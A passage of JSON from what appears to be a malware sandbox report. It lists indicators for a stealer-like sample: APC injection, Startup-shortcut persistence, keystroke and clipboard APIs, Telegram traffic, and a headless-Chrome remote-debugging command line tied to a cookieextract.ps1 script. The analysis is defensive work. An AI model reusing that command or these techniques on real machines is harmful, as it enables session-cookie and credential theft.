[%TEMP%\\Log.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"Launcher.exe\" queries basic process information of the \"C:\\Launcher.exe\" (UID: 7048)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"Build.exe\" called \"NtQueueApcThread\" (UID: 00000000-00005992)\n \"System Properties.exe\" called \"NtQueueApcThread\" (UID: 00000000-00006668)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"Launcher.exe\" reads file \"c:\\users\\%osuser%\\desktop\\desktop.ini\"\n \"Launcher.exe\" reads file \"c:\\users\\%osuser%\\documents\\desktop.ini\"\n \"Launcher.exe\" reads file \"c:\\users\\%osuser%\\music\\desktop.ini\"\n \"Launcher.exe\" reads file \"c:\\users\\%osuser%\\pictures\\desktop.ini\"\n \"Launcher.exe\" reads file \"c:\\users\\%osuser%\\videos\\desktop.ini\"\n \"Launcher.exe\" reads file \"c:\\users\\%osuser%\\downloads\\desktop.ini\"\n \"Launcher.exe\" reads file \"c:\\users\\%osuser%\\onedrive\\desktop.ini\"\n \"Launcher.exe\" reads file \"c:\\launcher.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$4f","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"Launcher.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"Launcher.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"Launcher.exe\" trying to touch file \"C:\\Launcher.exe\"\n \"Launcher.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"Launcher.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"Launcher.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"Launcher.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"Launcher.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\AcLayers.dll\"\n \"Launcher.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\mpr.dll\"\n \"Launcher.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\sfc.dll\"\n \"Launcher.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\winspool.drv\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"Launcher.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"Launcher.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"System Properties.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"System Properties.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\System Properties.lnk\"\n \"System Properties.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"System Properties.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\System Properties.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"System Properties.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SYSTEM PROPERTIES.LNK\"\n \"System Properties.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\System Properties.lnk\"\n \"System Properties.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SYSTEM PROPERTIES.LNK\"\n \"System Properties.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\System Properties.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$51","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"Launcher.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\launcher.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"windows defender.exe\" writes a file \"%APPDATA%\\Finder-Latest.log\"\n \"explorer.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\explorer.exe.log\"\n \"explorer.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\explorer.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"level":"informative","category":"Network Related","name":"Able to download remote files using web shell script","description":"file/memory contains long string with (Indicator: \"HttpWebRequest\"; File: \"System Properties.exe\")\n Found string \"HttpWebRequest\" (Indicator: \"HttpWebRequest\"; File: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp\")\n Found string \"HttpWebRequest\" (Indicator: \"HttpWebRequest\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-798","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00005992-00000C2B-1426064797\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve network adapter information (.NET)","description":"file/memory contains long string(File: \"Build.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-941","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005992-00000C2B-1426048123\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00005992-00000C2B-1501653899\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00006668-00000C2B-1426071537\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"file/memory contains long string with (Indicator: \"gethostname\"; File: \"Build.exe\")\n Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00005992-00000C2B-1426048123\")\n Found reference to API \"gethostname\" (Indicator: \"gethostname\"; Source: \"00000000-00005992-00000C2B-1426298363\")\n Found reference to API \"ile System Bind Data\" (Indicator: \" bind \"; Source: \"00000000-00005868.00000000.154394.03310000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"Found string \"api.telegram.org\" (Indicator: \"api.telegram.org\"; File: \"PCAP\")\n Found string \"https://user-images.githubusercontent.com/45857590/138568746-1a5578fe-f51b-4114-bcf2-e374535f848\" (Indicator: \"githubusercontent.com\"; Source: \"00000000-00006308-00000CBD-1425368260\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$52","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$53","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$54","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"OST / HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"149.154.167.220\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Pattern Matching","name":"Identifies external resources in HTML content","description":"External resources discovered in HTML content:\nwww.nirsoft.net | href","origin":"Binary File","mitre_attack_id":"T1071.001","relevance":3,"id":"binary-8602","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - High entropy file","description":"YARA signature to detect high entropy file process \"00000000-00006668\"\n YARA signature to detect high entropy file file \"sample.bin\"\n YARA signature to detect high entropy file file \"System Properties.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-605","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Medium entropy File","description":"YARA signature to detect medium entropy file process \"00000000-00005992\"\n YARA signature to detect medium entropy file process \"00000000-00007948\"\n YARA signature to detect medium entropy file process \"00000000-00007364\"\n YARA signature to detect medium entropy file process \"00000000-00005868\"\n YARA signature to detect medium entropy file process \"00000000-00006308\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-606","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on process \"00000000-00007948\"\n YARA signature for RC4 encryption matched on process \"00000000-00007364\"\n YARA signature for RC4 encryption matched on file \"sample.bin\"\n YARA signature for RC4 encryption matched on file \"explorer.exe\"\n YARA signature for RC4 encryption matched on file \"explorcr.exe\"\n YARA signature for RC4 encryption matched on process \"00000000-00006308\"\n YARA signature for RC4 encryption matched on file \"windows defender.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","id":"yara-104","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"explorer.exe\"\n YARA signature matched on embedded PE in file \"explorcr.exe\"\n YARA signature matched on embedded PE in file \"windows defender.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Remote Access Related","name":"Able to use IDE tunneling for remote connection","description":"file/memory contains long string with (Indicator: \"--remote\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"--remote\"; File: \"cookieextract.ps1\")\n Found string \"\"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe\" --remote-debugging-port=9222 --remote-allow-origins=* --headless=new --dis\" (Indicator: \"--remote\"; Source: \"00000000-00007948-00000C46-57673589873\")\n Found string \"--remote-debugging-port=9222 --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --user-data-dir=\"%LOCALAPPDATA%\\Google\\Chrome\\User Data\" --profile-directory=\"Default\"\" (Indicator: \"--remote\"; File: \"chrome.exe\")\n file/memory contains long string with (Indicator: \"--remote\"; File: \"chrome.exe\")\n Found string \"--remote-debugging-port=9222 --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --user-data-dir=\"%LOCALAPPDATA%\\Google\\Chrome\\User Data\"\" (Indicator: \"--remote\"; File: \"chrome.exe\")","origin":"File/Memory","mitre_attack_id":"T1219","relevance":1,"id":"string-883","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$55","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005868.00000000.154394.03310000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005992.00000000.154460.03A20000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found string \"Microsoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00006668.00000001.156457.029D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"$56","origin":"File/Memory","mitre_attack_id":"T1550.004","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"125784620524,4356,3025,,RtlGetNtProductType,NTDLL.dll,\"00:41:01.046\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00005992.00000002.158297.03A20000.00000004.mdmp\")\n Found reference to API \"144523330878,3696,3024,,RtlGetVersion,NTDLL.dll,\"00:41:10.406\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found reference to API \"19243120129,6684,3024,,RtlGetVersion,NTDLL.dll,\"00:40:17.750\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006668.00000001.156457.1DE10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to monitor clipboard data (API string)","description":"file/memory contains long string(File: \"System Properties.exe\")\n Found string \"AddClipboardFormatListener\" (Source: \"00000000-00006668-00000C2B-1423196085\")\n Found string \"AddClipboardFormatListener\" (Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-925","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegEnumValueA\" in file \"Launcher.exe\"\n Found registry query API: \"RegEnumKeyA\" in file \"Launcher.exe\"\n Found registry query API: \"RegQueryValueExA\" in file \"Launcher.exe\"\n Found registry query API: \"RegOpenKeyExA\" in file \"Launcher.exe\"\n Found registry query API: \"RegEnumValueA\" in \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyA\" in \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExA\" in \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExA\" in \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")\n Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")\n Found reference to API \"MapVirtualKey\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve running process details (.NET)","description":"file/memory contains long string(File: \"Build.exe\")\n file/memory contains long string(File: \"System Properties.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-931","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$57","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"Launcher.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Build.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"System Properties.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"windows defender.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"explorer.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called 